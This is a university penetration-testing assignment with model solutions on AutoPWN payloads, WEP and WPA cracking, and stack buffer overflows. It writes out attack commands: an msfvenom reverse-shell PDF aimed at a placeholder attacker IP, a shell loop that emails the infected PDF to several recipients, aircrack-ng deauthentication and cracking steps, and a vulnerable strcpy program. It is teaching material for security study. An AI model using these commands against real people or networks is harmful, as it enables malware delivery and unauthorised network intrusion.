PTW ASSIGNMENT 5

Penetration Testing Workshop (CSE 3157)

Programme: B.Tech. (CSE - CYBERSECURITY)Semester: 6th Last Date: 23/5/2025

Course Outcomes/ Subject Learning Outcomes	* Taxonomy Level	Question Number	Marks
Remember (kali) Linux Basic Commands, Understand Basic Concepts of Pen Test, Scripting (Python, Shell, Power shell, Ruby, Java)			
Develop Proficiency on exploitation tools Measploit, netcraft, Information gathering, DNS Reconnaissance, Searching EMail Address, Maltego, Port Scanning			
Investigate Vulnerabilities: Nmap Scripting Engine, Web Application Scanning, Manual Analysis			
Perform Pen Test on Vulnerable Machines (DC7, Kioptrix, Digital World.local, HackinOS, Sunset:Nightfall, Mumbai:1), Network traffic Capture, Burp Suite, Bypass Antivirus	L3-L5	4-5	
Perform and Evaluate Attacks: ARP Cache Poisoning, DNS Cache Poisoning, SSL Attack, Exploiting phpMyAdmin, Buffer Overflow, Password Attacks, SQL Injection, wireless attacks, social engineering toolkits			
Analysis Post Exploitation situation: Meterpreter, Create post Exploitation report, structure, objectives Export to Word, Client Side Exploitation	L3-L6	4-7	

*Bloom's taxonomy levels: Knowledge (L1), Understanding (L2), Application (L3), Analysis (L4), Evaluation (L5), Creation (L6)

1. Describe auto pawn attack and related payloads. What data can be gathered with auto pawn attack from the victim?
2. How to attach a payload with a pdf file. Mimic the target user, download pdf and run it. W rite commands and attach screenshots. Send email multiple accounts (inform your friends about it).
3. How to crack WEP passkey. Set a WEP passkey and follow the process.
4. How does WEP work? Explain the encryption and description process with Proper diagram and an example.
5. Describe a step-by-step process to crack WPA/WPA2 password.
6. (Optional) Describe the memory layout for program execution. List all the general purpose register. Show with an example diagram how functions are loaded into stack area and returned to the calling point after execution.
7. (Optional) Demonstrate memory hijacking with overflowtext.c (Refer page 365, Gergia Weidman, Penetration Testing Book)

Course outcomes (COs) satisfying program outcomes (POs) and program specific outcomes (PSOs)

POs & PSOs COs	1	2	3	4	5	6	7	8	9	10	11	12	PSO$_1$	PSO
CO1													2	
CO2														
CO3														
CO4														
CO5														
CO6														

SOLUTIONS

1. Auto Pawn Attack and Related Payloads

Auto pawn attack is not a standard term in cybersecurity literature, but it may refer to an automated attack where an attacker leverages a compromised system to launch further attacks or collect data automatically. It is likely a variation or misinterpretation of "AutoPWN" (from tools like Metasploit’s AutoPWN module, which automates exploitation against vulnerable services).

Related Payloads:

- **Reverse Shell Payload:** Allows the attacker to gain interactive control over the victim’s system.
- **Keylogger:** Records keystrokes to steal credentials and sensitive data.
- **Data Exfiltration Payload:** Sends collected files, credentials, or screenshots to the attacker.
- **Privilege Escalation Payload:** Attempts to elevate privileges on the compromised system.

Data That Can Be Gathered:

- **Credentials:** Usernames, passwords, and authentication tokens.
- **System Information:** OS version, installed software, network configuration.
- **Files:** Sensitive documents, images, or configuration files.
- **Keystrokes:** Everything typed by the user.
- **Network Data:** Captured network traffic, Wi-Fi passwords, and browsing history.

---

2. Attach a Payload to a PDF and Mimic User Activity

This process is for educational purposes only. Attaching malicious payloads to files and sending them is illegal without consent.

Process Overview:

1. **Create a Malicious PDF:**
   - Use tools like *msfvenom* to generate a PDF with an embedded payload.
   - Example command:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=4444 -f pdf -o infected.pdf
```

2. **Host the PDF:**
   - Host the PDF on a web server or send it via email.
3. **Mimic User Download and Execution:**
   - The target user downloads and opens the PDF.
   - If a vulnerability is exploited, the payload executes.
4. **Send Email to Multiple Accounts:**
   - Use a script or email client to send the PDF to multiple recipients.
   - Example (using command line mail tools):

text

```
for email in friend1@example.com friend2@example.com; do

  echo "Check out this PDF!" | mail -s "Important Document" -A infected.pdf $email

done
```

5. **Screenshots:**

   - No screenshots can be provided here, but you would take screenshots of the mail client, the download, and the PDF execution.

---

3. How to Crack a WEP Passkey

Steps to Crack a WEP Passkey:

1. **Set a WEP Passkey on an Access Point:**

   - Configure your router to use WEP security and set a passkey (e.g., ABCDE12345).

2. **Capture IVs (Initialization Vectors):**

   - Use a tool like airodump-ng to monitor the target network and capture IVs:

```
airodump-ng -c <channel> --bssid <BSSID> -w wep_crack mon0
```

3. **Inject Packets to Generate Traffic:**

   - Use aireplay-ng for fake authentication and ARP request replay to generate more IVs:

```
aireplay-ng -1 0 -a <BSSID> -h <your_MAC> mon0

aireplay-ng -3 -b <BSSID> -h <your_MAC> mon0
```

4. **Crack the Key:**

   - Once enough IVs are captured, use aircrack-ng:

```
aircrack-ng wep_crack-01.cap
```

   - The tool will output the WEP key if successful.

---

4. How Does WEP Work? Encryption and Decryption Process

WEP (Wired Equivalent Privacy) Overview:

- **Purpose:** Provides confidentiality for wireless data.
- **Encryption:** Uses RC4 stream cipher with a 40-bit or 104-bit key and a 24-bit IV (Initialization Vector).
- **Process:**
  1. **Key + IV:** The WEP key is combined with the IV to create a per-packet key.
  2. **RC4 Keystream:** The per-packet key seeds the RC4 cipher, generating a keystream.
  3. **XOR Operation:** The keystream is XORed with the plaintext data to produce ciphertext.
  4. **Transmission:** The IV and ciphertext are sent over the air.

5. **Decryption:** The receiver uses the same WEP key and IV to regenerate the keystream and XOR it with the ciphertext to recover the plaintext.

Diagram:

```
+-------------------+     +-----------+     +------------------+

| Plaintext Data |---->| XOR|<-----| RC4 Keystream|

+-------------------+     +-----------+     +------------------+

                              |

                              v

                  +----------------------+

                  | Ciphertext + IV  |

                  +----------------------+
```

Example:

- **Key:** ABCDE
- **IV:** 123456
- **Plaintext:** HELLO
- **Keystream:** (generated by RC4)
- **Ciphertext:** (Plaintext XOR Keystream)
- **Sent:** IV + Ciphertext

---

5. Step-by-Step Process to Crack WPA/WPA2 Password

1. **Capture the Handshake:**
   - Use airodump-ng to capture the 4-way handshake:

```
airodump-ng -c <channel> --bssid <BSSID> -w handshake mon0
```

2. **Deauthenticate a Client (if needed):**
   - Use aireplay-ng to force a client to reconnect and capture the handshake:

```
aireplay-ng -0 1 -a <BSSID> -c <client_MAC> mon0
```

3. **Crack the Handshake:**
   - Use a dictionary attack with aircrack-ng:

```
aircrack-ng -w wordlist.txt handshake-01.cap
```

   - If the password is in the wordlist, it will be revealed.

---

6. (Optional) Memory Layout for Program Execution and General Purpose Registers

Memory Layout Example:

text

```
+----------------------+

| Stack                | (Local variables, return addresses)

+----------------------+

| Heap                 | (Dynamic memory allocation)

+----------------------+

| Data Segment   | (Global/static variables)

+----------------------+

| Text Segment    | (Code)

+----------------------+
```

General Purpose Registers (x86):

- **EAX, EBX, ECX, EDX:** Data manipulation
- **ESI, EDI:** Source/Destination index
- **ESP:** Stack pointer
- **EBP:** Base pointer

Function Call Stack Example:

text

```
+----------------------+

| Return Address | <-- EBP points here after function prologue

+----------------------+

| Old EBP              |

+----------------------+

| Local Variables   |

+----------------------+

| ...                      |

+----------------------+
```

Diagram:

```
+----------------------+

| Return Address   | <-- ESP after call

+----------------------+

| Old EBP              | <-- EBP in callee

+----------------------+

| Local Variables   |

+----------------------+
```

---

7. (Optional) Memory Hijacking with overflowtext.c

Overview:
The example from "Georgia Weidman, Penetration Testing Book" (page 365) demonstrates a buffer overflow attack where user input overflows a buffer, overwriting the return address on the stack.

Example Code (simplified):

```
#include <stdio.h>

#include <string.h>

void vulnerable_function(char *input) {

    char buffer[100];

    strcpy(buffer, input);

    printf("Buffer: %s\n", buffer);

}



int main(int argc, char **argv) {

    vulnerable_function(argv[1]);

    return 0;

}
```

Attack:

- **Overflow:** Provide input longer than 100 bytes to overwrite the return address.
- **Hijack Execution:** Craft input to overwrite the return address with the address of malicious code (shellcode).

Diagram:

```
+----------------------+
| Malicious Code       | (Shellcode)
+----------------------+
| ...                  |
+----------------------+
| Return Address       | <-- Overwritten to point to shellcode
+----------------------+
| Old EBP              |
+----------------------+
| Buffer[100]          | <-- Overflowed
+----------------------+
```

Result:
When the function returns, it jumps to the shellcode instead of the original return address, executing the attacker's code.